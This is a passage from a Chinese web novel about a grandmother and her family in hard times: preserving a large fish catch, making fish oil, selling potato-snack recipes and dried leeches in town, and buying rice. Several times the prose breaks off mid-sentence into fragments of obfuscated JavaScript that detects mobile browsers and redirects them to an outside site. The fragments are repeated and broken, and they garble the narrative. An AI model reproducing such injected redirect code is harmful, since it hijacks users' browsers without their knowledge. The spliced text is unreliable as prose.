看见沈大山和林禾时，王三娘狠狠松了一口气。 泥石流的声音巨大，她当然也听见了。 “哪里来的这么多鱼！？” 王三娘见二人没事，注意力也从他们身上转到他们手中的鱼上。 “泥石流从深潭里冲下来的，我们先回去，那边还有不少小板鲫，也一起抓回来。” 林禾不愿意放弃那些小板鲫。 小板鲫不仅能用来炸着吃，吃不完还能晒干，保存下来以后吃。 晒干的小板鲫肉质紧实，咸香入味，做法更是多种多样。 香煎板鲫干外酥里嫩，咸香下饭，豆豉蒸板鲫干酱香十足，口感醇厚，还有板鲫干烧豆腐汤汁浓郁，板鲫干炒辣椒、油炸板鲫干…… 林禾光是想想就已经要流口水了。 一回到山洞，林禾就拿着竹篮往外走。 王三娘要过去帮忙，但被林禾拦住了，“大山和我一起去，他反正身上都脏了，你烧好热水，等我们回来要换洗衣服。” 二人一来一回，地上的泥浆已经变成了凝固的泥巴，只有踩下去才能感受到被埋在下面的小板鲫。 林禾摸了大半个时辰，手脚都冻僵了，但心中却是欢喜的。 竹篮里装了满满的小板鲫，甚至还有多余的板鲫装不下，全部都被沈大山用衣服兜在身前。 待二人回去，林禾快速冲干净身上的泥，才去洗澡换了一身衣服。 沈大山洗澡换衣服的时候，林禾和王三娘把带回来的鱼都清点了一遍。 最大的应该就是那条大鲶鱼，身体有一个手掌那么宽，很肥，莫约五十多斤。 林禾和王三娘合力才能抱起来。 除了鲶鱼外，最大的就是那条草鱼了，草鱼虽然有半人高，但是没有鲶鱼种，瞧着大概就三十多斤。 剩下的鱼中小板鲫的数量最多，白鲦和青鱼次之。 “娘，这些鱼都快**。” 王三娘看着奄奄一息的大草鱼，还有几乎没了气息的白鲦和挤在竹篮里的小板鲫，有些心疼。 这么多鱼，一下子也吃不完，若是要腌起来，不知需要多少盐。 “等大山出来，你和他把这些鱼都清理干净。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287118|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 外面的雨停了，林禾挎着一个竹篮往外走。 这么多鱼，放在山洞里肯定要坏，而且还极容易吸引蚊虫蛇类，得再去敲一些盐石块回来炼盐。 现在她需要很多的盐！ 等到了地方，林禾一口气敲了二十多块盐石，回到山洞后，提着竹篮的手酸痛发抖，但现在没时间休息。 林禾敲碎盐石溶解过滤，沉淀蒸发，来来**折腾了将近三个时辰，最后得到三大罐粗盐。 “奶奶，我和二妞帮你搬。”大妞看着累得满头大汗的林禾，主动上前帮林禾抱住陶罐。 二妞靠过来，抬手帮林禾擦额头上的汗，声音软软的，“奶奶，你去休息吧。” “你们一个拿一罐就行。”林禾也没拒绝她们，自己抱着一罐，让她们每个人也拿一罐。 林禾煮盐的功夫，王三娘和沈大山也把鱼清理了大半，只剩下最后带回来的大板鲫没有处理。 “先把草鱼和鲶鱼拿过来。”林禾往灶里添着火，清理干净两个陶锅。 沈大山劲儿大，将开膛破肚的大鲶鱼和草鱼一起提了过来，放在案板上，“娘，鱼放在这里了。” “行！”林禾带着陶盆过去，坐在小板凳上，拿着菜刀手起刀落。 案板上的大鲶鱼和草鱼被分解成一块块鱼肉，分别放入两个陶盆之中。 这两条鱼肉多，适合用来熬鱼油。 寻常时候林禾定然是不愿意吃鱼油的，即便鱼油营养丰富，但架不住鱼油熬出来很腥，用鱼油炒出来的菜也全都会染上鱼腥味。 这也就是为什么明明菜籽油产量不高，猪油又贵，但没人愿意吃鱼油的原因。 但现在有木姜子，这个去腥提鲜的天然香料，林禾一点都不担心鱼油会腥。 加入木姜子一起熬煮的鱼油，能很好地将鱼腥味去除。 三十多斤的草鱼和五十多斤的大鲶鱼，即便有两个灶，还是熬了两个时辰。 等林禾把熬煮出来的鱼油全都倒进陶罐，抬眼往外看时，外面的天已经完全黑了。 第33章 腌制晾晒鱼干 “娘，这些小板鲫都掏干净内脏了。” 沈大山抱着一个装满小板鲫的陶盆过来，身上一股鱼腥味。 小板鲫的鳞片和内脏一定要去除干净，不然会留下苦味。 林禾翻看了几个小板鲫，“装到两个盆里，放到盐罐那边去，我一会儿过去撒盐。” 林禾说完把鱼油倒了两碗出来，又切下一大块水豆腐，才让王三娘过来备菜。 小板鲫最好是干腌，均匀入味。 林禾在陶盆底部先倒了一层浅浅的盐，抓起一条小板鲫，用手将盐均匀地涂抹在鱼身内外、鱼鳃内部和剖开的腹腔内壁。 将抹好的鱼一条条紧密且一层层码放在盆里。 每码放一层，都要在鱼身上再撒一些盐。 这样能帮助鱼肉更好地脱水，盐也能更均匀渗透到鱼肉里。 “娘，菜都备好了。”王三娘擦干手上的水，想过来帮忙，却看见林禾已经弄完了。 林禾清洗着沾上盐的手掌和手背，“你先倒两碗油下锅。” “娘，两碗油是不是太多了，咱们做菜要这么多油吗？” 王三娘面带犹豫。 平时是吃不上油的，都得等过年才会买一小块猪肉放在锅里煎煮，就是为了尝尝肉味。 现在有了两大罐油，王三娘是舍不得吃的，甚至想供着，留到以后吃。 直接倒两碗油进去，简直就像是剜她的肉一样。 放在以前，这两大碗油能吃大半年嘞！ “娘，咱们还是少放一点吧……” 沈大山瞧了也心疼。 “吃完油还会有的，不要舍不得吃。”林禾擦干手，把碗里的油都倒进锅中。 “再过小半个月，油菜熟了也能榨出不少油，到了年底，油茶树也能榨油了，不用发愁没油吃。” 林禾说完，沈大山和王三娘才陡然醒悟。 但林禾知道他们是节省惯了，一时间没改过来。 锅中的鱼油经过木姜子去腥后，不仅没有鱼腥味，还有鱼油独特的香味。 油热之后，切成片的豆腐被林禾一片接一片地放入锅中，被热油包裹的白嫩豆腐很快就变成金黄色。 “大山，把另外一个灶的火也点燃。”林禾看着切好的豆腐快下完了，又开口对洗菜的王三娘开口。 “三娘，你把那边剩下的小半盆板鲫拿过来。” “诶！”王三娘刚好把荠菜和野蒜洗完。 “娘，鲫鱼是要炸着吃吗？”沈大山闻见豆腐的香味，已经偷偷咽口水了。 “嗯。”林禾把炸好的豆腐一片挨着一片码在陶盆中，每码一层就撒一层盐。 水豆腐只能吃三天，超过三天就容易变质。 但油炸后用盐腌制，保存下来的干豆腐片，能做菜也能煮汤，还能保存至少半年以上。 炸完豆腐，林禾继续炸小板鲫，炸过的小板鲫能延长保存时间，更能方便做菜。 林禾将刚炸完的小板鲫放在碗里，转身的功夫就倒进另外一个锅中，和切成条状的干豆腐一起翻炒，起锅前加入一点清水调味焖煮。 “三娘，锅里的干豆腐炒板鲫好了，可以盛出来。” 林禾说话时，手中炸小板鲫的动作没停。 炸完小板鲫，沈大山把青鱼和白鲦这些其他个头不算大的鱼都切成鱼块，林禾继续在锅中炸。 “娘，还剩下的几条青鱼放在盆里养着吗？” 沈大山清理鱼的时候，发现只有几条青鱼还算活泼，干脆就留下来了。 “抓一条出来炖汤，剩下的养着。”林禾用筷子给锅中的鱼块翻面，免得粘锅鱼肉变烂。 有了前面处理鱼的经验，沈大山不到一刻钟就将青鱼处理干净。 王三娘在林禾的指挥下，很快把青鱼炖豆腐汤做了出来，奶白的汤汁瞧着就鲜嫩。 “荠菜也放进去一起煮一下，不要太久。”林禾把炸完的鱼块都捞出来，顺便还给一旁流口水的大妞二妞都夹了一块。 “吹凉一些再吃，烫着舌头一会儿吃什么都没味道的。” “好！” 大妞二妞齐声应下，眼睛都黏在酥香的鱼块上了。 荠菜豆腐青鱼汤轻轻吹几下，微微烫嘴的温度送入口中，一起吃下去的还有豆腐和青鱼肉，软嫩鲜香！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287119|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 荠菜咬下后还带着些汁水，独特的清香入口，汤中的鲜味被彻底激发。 鲜！香！嫩！ 王三娘和双胞胎一连喝了两碗。 “嗝~” 二妞打了个响亮的饱嗝。 “喝这么多汤，一会儿吃不下其他的菜了。” 王三娘话虽如此，但她自己也知道喝汤的时候没法控制。 吃着酥香的油炸小板鲫，沈大山连鱼刺都不愿意放弃，嚼碎咽了下去，一口接一口，没有要停下的趋势。 汁水浓郁的干豆腐炒板鲫，一口咬下去，吸满汤汁的干豆腐最大程度激发味蕾。 林禾想念米饭了。 要是能拌着米饭吃上一碗干豆腐炒板鲫，让她干什么都愿意。 起了心思的林禾，打算明天进城看看。 上次换到的钱，可以过一把米饭瘾！ 而且她准备卖的东西，草市上未必有人会愿意买，只能进城寻找机会。 “明天我打算进城一趟。”林禾把想法说了出来。 王三娘洗完的手一顿，沈大山也转头看向林禾，就连大妞二妞都没在说话，而是眨着眼睛看向林禾。 “娘……”沈大山先开口，言语踌躇，“现在进城安全吗？” “娘，要不我们还是再等等吧，咱们现在的日子过得挺好的，没必要去冒险。” 王三娘说话时，眼中全是担忧。 她怕出事，怕好不容易安定下来的日子被打破。 大妞二妞没说话，但二**大的眼睛里也透着些害怕。 “咱们现在看着安定，那是我们当中没人生病，手上拿着的钱，连看病都不够，何谈吃药？若是生病了怎么办？” 林禾从来不是坐以待毙的人。 既然有隐患，就要解决隐患，至少要有抗风险的能力！ 林禾的话让沈大山和王三娘都沉默了。 “已经过了快一个月，城中对流民的清剿应该差不多要结束了，咱们明天先去看看，若是发现不对劲儿，不进城便是！” “好！明日我随娘进城！” 沈大山下定决心。 第34章 初次进城 次日一早，天蒙蒙亮，林禾就起身了。 打开灶火，昨晚架在锅上的热油已经凝固，需要重新开火融化。 “娘，你怎么就起来了？”沈大山睡眼惺忪，还有些迷糊。 王三娘也被惊醒，忙起身帮林禾拿泡着土豆片的陶盆。 盆里的土豆片和土豆条都是昨晚切好的，林禾泡完这些东西才睡下，现在用来炸正好合适。 王三娘在一旁帮忙打下手，瞧见林禾还用棕叶编了草盒子，多问了一嘴。 “娘，您炸这些是要拿去城里卖吗？” “嗯，是有这个打算。”林禾现在能想到的最好的赚钱的法子就是卖吃食。 土豆便宜，鱼油也没花钱，若是这次进城顺利，往后在城中支个小摊子，专门炸土豆片和土豆条，慢慢也能攒下一些钱。 炸土豆片的焦香把还在睡梦中的大妞二妞也叫醒，两个孩子困得眼睛都睁不开，但还是凑到了林禾脚边，眼巴巴望着。 林禾把第一锅炸完的土豆片洒上磨碎的盐粒，拿在簸箕里颠了颠，等盐粒均匀裹在土豆片外面，林禾才让大妞二妞抱着簸箕走。 “娘，这土豆片是拿来卖的，尝几片就够了，怎么给她们这么多……” 王三娘有些心疼。 “三娘，女孩子要养的大方得体，首先咱们得在能力范围内富养，不然你不怕外头随便来个毛头小子，拿点蝇头小利就给她们骗走了？” 林禾的话惹得沈大山连连点头，“给两个孩子吃吧！” 沈大山虽然轴了些，但从来没有嫌弃过大妞二妞是女孩子，他只知道无论男女都是他的孩子。 王三娘听到林禾的话，却恍惚了一瞬。 从前大妞二妞出生时，村里人明里暗里瞧了她不少笑话，都说她一次生了两个拖油瓶，好大的本事。 不管有意无意，王三娘多少都受到了影响，她虽然也心疼女儿，但她自己也成长于那样的环境下，影响是潜移默化的。 她刚刚下意识觉得女孩子尝尝就行了，何必将一锅都给她们。 但婆母的话，却点醒了王三娘。 她不能让女儿也受自己受过的苦！ 看着两个孩子抱着簸箕时茫然无措的神情，王三娘心头一痛，“拿起吃吧，是娘不对，娘想岔了。” 林禾见状，没再说话，而是继续将手上的土豆条往锅中放。 炸完的土豆片和土豆条，林禾全部装进棕树叶变成的草盒中，棕叶盒透气，不会将土豆片和土豆条捂软。 “三娘，我们走了，不用担心。” 林禾将竹篓交给沈大山，和他一同往山下走。 栗县离林禾所在的山不远，二人走了半个时辰就看见了城门。 辰时一刻，城门前正是最热闹的时候，不少人赶着入城，城门口排起长队。 等林禾二人排队进城，又过去了一个时辰。 进城门时，没人细细盘查，林禾松了一口气，一直紧绷神经的沈大山也放松下来，渐渐被沿途的繁华吸引。 他没逃难之前，去过最远的地方就是镇子上，仅有几家小饭馆和布庄也叫他心生向往。 现在看见街道两边的景象，沈大山眼睛都直了。 辰时的栗县，正是最鲜活热闹的时候。 青石板铺就的街道被行人车马踩踏得油光水亮，两侧店铺鳞次栉比，酒旗招展。 早点铺子蒸腾出浓郁的白雾，裹着包子、馒头的面香，丝丝缕缕钻进鼻子。 茶肆里飘出清苦的茶味，混着早点摊上煎饼的浓郁香气，交织成市井独有的诱人味道。 人流如织，摩肩接踵。 挑着新鲜时蔬的农夫小贩，吆喝着：“让一让嘞！” 他们在人群缝隙里灵巧穿行。 有的穿着长衫的读书人匆匆走向书肆或学堂。 挎着篮子的妇人亦是步履匆忙，奔向布庄、杂货铺。 更有富户人家的马车或青帷小轿，由健仆或车夫小心地驱赶着，在人群中缓慢移动，引得行人纷纷侧目避让。 沿街的摊贩早已支开架势。 卖针头线脑的、卖竹编草编的、卖糖人面人的、卖胭脂水粉的…… 琳琅满目！ 卖馄饨的摊主麻利地舀起高汤，雪白的馄饨在青花大碗里沉浮，翠绿的葱花一撒，惹得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“婶子，你卖吃食可划不来！吃食的条子是最贵的，一个月要四百两嘞！要是卖不出去，这四百两就打水漂了！” 小贩原以为他们只是卖些蔬果鸡蛋，没成想居然是卖吃食的，瞧着分量也不多，怕是很难回本。 小贩连连摇头。 第35章 不吃饭难道要饭？ 林禾闻言，心下一沉。 她来时瞧见这样繁华的景象，还以为大启对商业的限制不大，没成想只是繁荣的景象掩盖了重农抑商的政策罢了。 四百文一个月，卖些小吃食确实很难回本。 而且林禾也不保证能每日都进城卖吃食。 这些土豆片和土豆条虽然新奇，但分量摆在这里，就算卖十文钱一份，有人愿意买单，也挣不回这四百文！ 不等林禾觉得，一旁清点完东西的老伯开口，“现在去拿条子可就不是四百文，而是五百文了！” “对！农忙的这两个月都会涨一百文，我们干完这一个月也不干了。” 老伯开口提醒，小哥这才想起来价格涨了。 他们都是前三个月拿的条子，农忙的时候就停两个月，回去帮着家里种地。 “娘，咱们还摆吗？”沈大山没了主意。 “不摆了，收东西往前再走走。” 林禾也不是冤大头，这笔账她算得明白，做生意是为了赚钱的，不是为了给市署送钱的！ 沈大山背着竹篓跟在林禾身后。 林禾找人问了路，直奔栗县最大的酒楼。 “娘，咱们去酒楼干啥啊？”沈大山看着送往迎来的酒楼大门，有些胆怯不敢进去。 这么气派的地方得花多少钱啊！ 把他卖了都不一定拿得出这么多钱！ “大山，你记住，遇事不要胆怯，酒楼开门迎客，咱们去就是客！” 林禾见不得他这个一米八的大高个畏畏缩缩，一掌拍在他的背上，“面子是自己给自己的！挺直腰杆，随我进去！” “诶……” 沈大山硬着头皮跟在林禾身后，眼神瞧着地面，不敢直视门口站着的店小二。 相比起沈大山，林禾就淡定多了。 她看出店小二眼神中的打量，但还是大步往里走。 “这位婶子，你们是……要吃饭？” 店小二伸手拦住林禾，眼底带着些鄙夷，但并未明说，只是听起来有些阴阳怪气。 门口的人很多，店小二这一拦，众人的视线或多或少都落在林禾和沈大山身上。 沈大山闻言，又接收到其他人目光，只觉脸皮都要烧起来了，憋得满脸通红。 “当然，来酒楼不吃饭难道来要饭吗？” 林禾面带笑意，但说出的话却不算客气，堵得店小二说不出话。 一旁围观的众人也被逗笑。 沈大山见状，突然想起林禾的话，努力将脊背挺直。 “我们酒楼的菜最便宜的都要一贯钱，你们拿得出来吗？” 店小二还带着莫名其妙的优越感，想用菜的价格将林禾劝退。 “你们酒楼开门做生意，就是这样待客的？把来吃饭的客人盘问一遍？” 林禾冷脸看着店小二，话锋一转，“还是你们其实暗自给来吃饭的客人分了三六九等？” “当……当然不是！只是……只是……” 店小二当然知道酒楼确实有将客人分成三六九等的习惯，但这可不能当着这么多人面说啊！ 他一时间无法辩解，说了半天也说不出个所以然来，只能憋红了脸。 其他客人见状，也开始交头接耳。 酒楼的张掌柜在二楼瞧见门口发生的事情，将店小二支开，笑着迎林禾二人进去。 “二位客人，快往里请！店小二不懂事，二位不要同他计较！” 张掌柜笑着将人请了进去，但眼中的烦躁和鄙夷却还是被林禾瞧见了。 难怪店小二带着优越感，原来是上梁不正下梁歪，这掌柜也是如此。 “不了，你们店既然不欢迎我们，那我们也不进去了！” 林禾看出这掌柜的不好相处，谈生意不能和这样的人谈。 “娘，咱们不吃饭刚刚为什么还要进去？”沈大山不解。 “刚刚进去是为了谈生意，但他们酒楼显然不好相与，和他们谈生意会很吃亏，咱们换一家！” 这栗县的酒楼可不止他这一家！ 二人才走了几步，就又看见一个酒楼，“聚味轩……好名字！” “娘，这家酒楼能免费吃一顿饭！天底下居然有这样好事！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287121|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈大山从旁边小贩的嘴里听说，眼睛都亮了。 林禾闻言，更是没有犹豫，直接走了进去。 这次没有人拦她，甚至一踏进去，店小二就笑脸相迎，“二位客人吃些什么？” 林禾开门见山道：“你们的掌柜在吗？我有笔生意要和他谈。” “在！在后厨呢！我这就去叫他！” 店小二听见有人找他们的掌柜，没有丝毫犹豫，而是揽着帕子快步往后厨走。 店小二走后没一会儿，门帘后面走出来一个人，模样周正，笑容满面。 “二位客官可是来找我的？”周康安的视线落在林禾身上。 “掌柜的，我们来想来和你谈一笔生意，您可愿意听我说一说？” 林禾的态度比起刚刚也变得和缓许多。 “是带了野菜过来吗？” 周康安见沈大山背了个大竹篓，还以为他们带了山货过来。 之前也有附近的村民带着山货和野菜过来，在城里卖这些东西也是要出摊位费的，要去市署取条子，所以时常有村民会直接找上酒楼或者饭馆卖，也能省下一些摊位费。 周康安见了也乐意收下这些村民的东西，反正都是要去采购的，这些村民的东西不仅便宜还新鲜！ “不是野菜，是自己做的一些吃食。”林禾把草盒子打开，露出里面金黄的土豆片和土豆条。 虽然时间有些长，土豆条瞧着有些发软，但土豆片还是脆的，香味也在打开盒子的那一刻飘了出来。 “掌柜的，这外面的吃食……”店小二见了欲言又止。 周康安倒是没拒绝，反倒有些兴趣，“这香味倒是奇特，什么做的？” “您先尝尝？”林禾本来也不是来卖土豆片和土豆条的。 酒楼一般不接受外面做的食物，毕竟吃出问题来，谁也不能负责任。 这些只是林禾的投名状！ “那我便尝尝看！”周康安也不拘泥，店小二给他递筷子，他直接上手捻起一片土豆片。 “咔嚓”一声，酥脆的土豆片带着咸香，味道新奇，让周康安有些诧异。 第36章 碰上官兵 没想到看似不起眼的食物，居然能有这般好的味道。 周康安又捻起一块土豆条送入嘴中，土豆条虽然没有土豆片这么脆，但绵软的口感也给了周康安惊喜。 周康安擦干净手，“这吃食你打算怎么卖？” “这吃食我们不卖给您。”林禾一开口，店小二就急了。 “你这人不会是想坐地起价吧！” 沈大山也有些慌了，但还是挡在林禾身前，“娘你别怕。” 林禾拍了拍沈大山的肩膀，示意他先退开，随即笑着看向周康安。 “掌柜的，这些吃食到底是我们自己在家里做的，您若是对这两样吃食感兴趣，我可以写方子给您。” 林禾表明自己的态度，但没提钱。 这反倒让周康安意识到林禾是个聪明人。 既然是聪明人那事情就好办了，他直接开口道：“两个方子，若是买断，你出价几何？” “四两银子。”林禾淡定出价，“这两道菜的原料便宜并且我保证任何一家酒楼都没有这两道菜，独您家这一份，便是日后其他酒楼学了去，您也能回本了。” 林禾没将价格喊得太高，仅仅只是喊了一个适中的价格，虽然看上去吃亏了，却给后续有可能的合作打下信任基础。 “成交。” 林禾定下的价格，比周康安心里的预期稍微低一些，他答应得很爽快。 店小二取来纸笔，周康安先问了林禾一嘴，“是你自己写还是我代笔？” “您代笔吧。”林禾会写字，但不会写毛笔字，且暴露自己会写字并不是明智之举。 林禾边念，周康安边写。 等周康安写完才问出心中的疑惑，“土豆是什么？” “城中的胡商带过来卖的，和红薯很像。”林禾说着从竹背篓里取出一个土豆，“就是这个。” 她出门前多带了一个，本来是给买吃食的顾客看的，安他们的心，没想到在这里用上了。 “您可以拿着这个去问，胡商手里应该还有许多都卖不出去。” 林禾能在卖货郎手中屡次拿到土豆，足以证明土豆不是畅销款。 许多人还没有发现土豆的妙处。 “好。”周康安接过土豆，将银子付给林禾。 拿到银子的林禾也没多耽误，她还要去春风堂一趟。 竹背篓里面放着晒干的山蛭，说不定还能卖一些钱。 “娘，真的有大夫会要咱们这些虫子吗？”沈大山不是想质疑林禾，而是他没听说过还有大夫愿意要这么恶心的虫子。 他被咬过之后，依旧有心理阴影，手上拿着装山蛭的竹筒都有些不自在。 “任何事情，只要去做，就有一半的机会成功，不试试怎么知道不收？” 林禾带着沈大山走进春风堂。 一个圆脸小药童迎了上来，“二位是卖药还是看病？” “你们收药材吗？我们是来卖药材的。”林禾主动表明来意。 “收的，不知婶子你要卖什么药材？”小药童点点头。 林禾把竹筒打开，“晒干的山蛭。” 小药童见状秀气的眉毛皱在一起，“这个我得去查一查药本，稍等片刻。” “好。”林禾也不着急，让沈大山把竹背篓放下。 小药童翻找药本的功夫，李大夫从后院出来，他一眼就瞧见了林禾。 “可是遇见什么难处了？”李大夫径直走向林禾。 他不曾忘记自己说过的话，见到林禾找上门，没有厌烦，全是关切。 不待林禾开口，小药童先说出口：“师父，他们来卖药，但我找不到山蛭的价格。” “我来吧。”李大夫让药童去倒两杯茶过来，自己走向柜台后面。 “山蛭若是晾晒好的，按照成色定价，一般都是按照每两一百文的价格来算，若是磨成粉则按一两一百五十文算。” 李大夫收好药本，直接告诉林禾价格。 沈大山听到价格时，手中的竹筒差点握不住。 我滴亲娘啊！ 这一两就能卖一百文，这一斤可就是一两银子！ “行，大夫你先看看这里面的山蛭合不合您的要求。” 林禾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287122|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道他要山蛭，但也不知道这些山蛭的价格能卖到一百文一两。 林禾把山蛭倒在包药材的油纸上，李大夫捻起几个查看之后，“这些山蛭成色不错，我每两多给你们加价十文。” 林禾自然不会拒绝，“多谢大夫。” 最后称出来的重量是一斤四两，一共给了一两银子并五百四十文。 “下次若是还有其他的药材，都可以来给我。”李大夫给钱时多说了一句。 山蛭处理的很干净，成色确实也好，他入药的时候只需要磨成粉就能直接用。 他喜欢收这种省事的药材。 “好！”林禾应下了。 她还要赶着去米铺买米，去晚了她怕关门。 刚走出春风堂，迎面走过来一队官兵，莫约七八人。 “查流民了！都让开！让开！”领头之人朝着林禾二人的方向走来。 沈大山退后一步，显然是想跑，却被林禾拽住，“先别动！” 不一定是冲着他们来的，但若是一跑，肯定要露馅！ 沈大山咽了咽口水，强装镇定，眼神却一直落在官兵腰间的长刀上。 上次就是这样的长刀，杀了一堆一堆的流民。 “啧！都叫你们让开，还堵着路干什么！” 领头的官兵推搡了一把沈大山，带着身后的**摇大摆走进春风堂旁边的客栈。 领头的官兵把长刀砸在客栈柜台上，“你们店最近可有收留没有路引的人过夜？” “差爷，我们这小店哪里敢啊？”掌柜忙上前塞了一个荷包在官兵手中，笑得谄媚：“您通融通融。” “瞧你也没有这样的胆子！” 领头的官兵在客栈装模作样地晃了一圈，心满意足地揣着银子离开。 林禾见状，带着沈大山若无其事地从客栈门口经过。 这些官兵并非是真的查流民，而是借着这个借口趁机捞油水。 让他们尝到了甜头，看来城里还要乱一阵子。 米铺门前冷冷清清，没有多少人，即便有人要买米，即买即走，不会耽误时间。 第37章 买米 偶尔有一两个挑米的人，偌大的米铺也不会显得拥挤。 米铺的伙计笑着迎上来，“店里新到了糙米，二位要几斤？” 伙计在米铺干了三年，一眼就能分辨出什么样的人会买什么样的米。 米铺的伙计和酒楼的店小二不一样，他们的工钱都是靠客人买米得来的。 换句话说，卖的越多，就能得到越多的月钱。 所以他们不会歧视来米铺的客人，只要是能买米的，哪怕是买糙米他们都欢迎。 而且他们还会根据客人的穿着打扮，主动给客人推荐合适价位的米。 林禾和沈大山身上打着补丁，一看便是手头不宽裕的人。 米铺的伙计顺势给二人推荐了糙米。 “最近糙米的价格稍微降下来一些，只要十三文一斤，二位客人可以趁着现在多囤一点，免得之后又涨回十五文了。” 林禾跟着伙计走到糙米桶前，看着几乎碎成渣且还带着谷壳的糙米，眉心紧皱。 怪不得糙米这般便宜，原来不是这些掌柜的良心发现，而是这些糙米的质量奇差无比。 这哪里是糙米，这分明就是米糠啊！ “除了糙米之外其他的米是什么价格？” 林禾并不想买糙米，转身询问起其他米价。 伙计一听，仅仅只是愣了一瞬间，立刻反应过来，立马笑容满面带着林禾往左边走。 “这边的米有新米也有旧米，新米的价格是二十二文一斤，旧米的价格是二十文一斤，您看您要哪一种？” “新米，来五斤吧！”林禾一开口，伙计笑得更加开心。 “诶诶！您等着，我这就帮您去拿袋子！” 沈大山趁着米铺的伙计去拿袋子的空隙，慢慢靠近林禾。 “娘，咱们要不还是买旧米吧，一样也是吃，新米要贵二文钱一斤呢！” “省下这十文钱倒不如吃点好的！”林禾拿着钱，听不得沈大山亏待自己的言论，直接付了钱。 五斤新米，带回去搭着土豆吃，至少能吃小半个月。 买完米二人出城后，天色渐晚。 背着大竹篓的沈大山太显眼，有了上次的教训，二人干脆等天黑了才上山。 摸黑上山的路上，林禾拿火折子点燃一把枯树枝，勉强能看清前面的路。 快到山顶的时候，路上闪过点点火光。 “奶奶！” “爹！” 双胞胎走在王三娘前面，瞧着三人是准备下山来寻林禾二人。 “娘，我照着路，您走前面。”王三娘让沈大山先走，又去拉林禾。 “没事，上山的路我熟悉，你们先走。”林禾没动，让两个孩子和王三娘走在前面。 等到了山洞里，走了一天的林禾早就累了，囫囵几口吃下晚饭后就躺下睡了。 睡前还在想明天肯定要吃一碗干豆腐拌饭。 等次日一早起床，林禾精神抖擞。 趁着外头的天气好，没下雨，林禾带上锄头和竹篮去了梯田上。 稻苗逐渐发芽，经过小半个月的时间，已经开始出苗，再过十多天就能将长成的稻苗移栽。 最近雨下得没有之前频繁，也没有之前大，林禾只是挖开了三指宽的出水口。 顺着水田往上走，林禾去瞧了瞧种下去的土豆和红薯。 种土豆的那三亩梯田还没出苗，但种红薯的三亩梯田已经陆续开始出苗。 林禾翻出盖在土豆上面的一层土，确认下面的土豆没发霉，还长出了芽，才重新盖上。 幸好之前将土豆和红薯种在地势较高的位置，就算下暴雨埋在土里的茎块也不会发霉。 弄完地里的活儿，林禾扛着锄头往回走，顺手掐了小半篮子的艾叶。 路过木姜子树时，瞧见上面大半的木姜子都熟了，干脆把竹篮跨在小臂上，爬上树将熟了的木姜子都摘了下来。 这棵木姜子树挂果率很高，几乎每一个树枝上都挂满了沉甸甸的木姜子，随手摘一簇一只手都抓不下。 才摘了几个树杈上的木姜子，竹篮就装不下了。 林禾干脆回去一趟，又多带了一个草篮子过来。 沈大山也跟着一起来了，林禾和他一人摘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287123|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边，很快就摘完了。 “娘，咱们摘这么多木姜子回去也吃不完啊？” 沈大山看着满满两大篮子的木姜子，有些发愁。 他虽然喜欢木姜子的味道，但若是成天吃这个味道，也难以消受。 这么多得吃到猴年马月！ “谁说是带回去给你吃的？” 林禾给了他一个白眼。 “不是带回去吃就行！”沈大山闻言松了一口气。 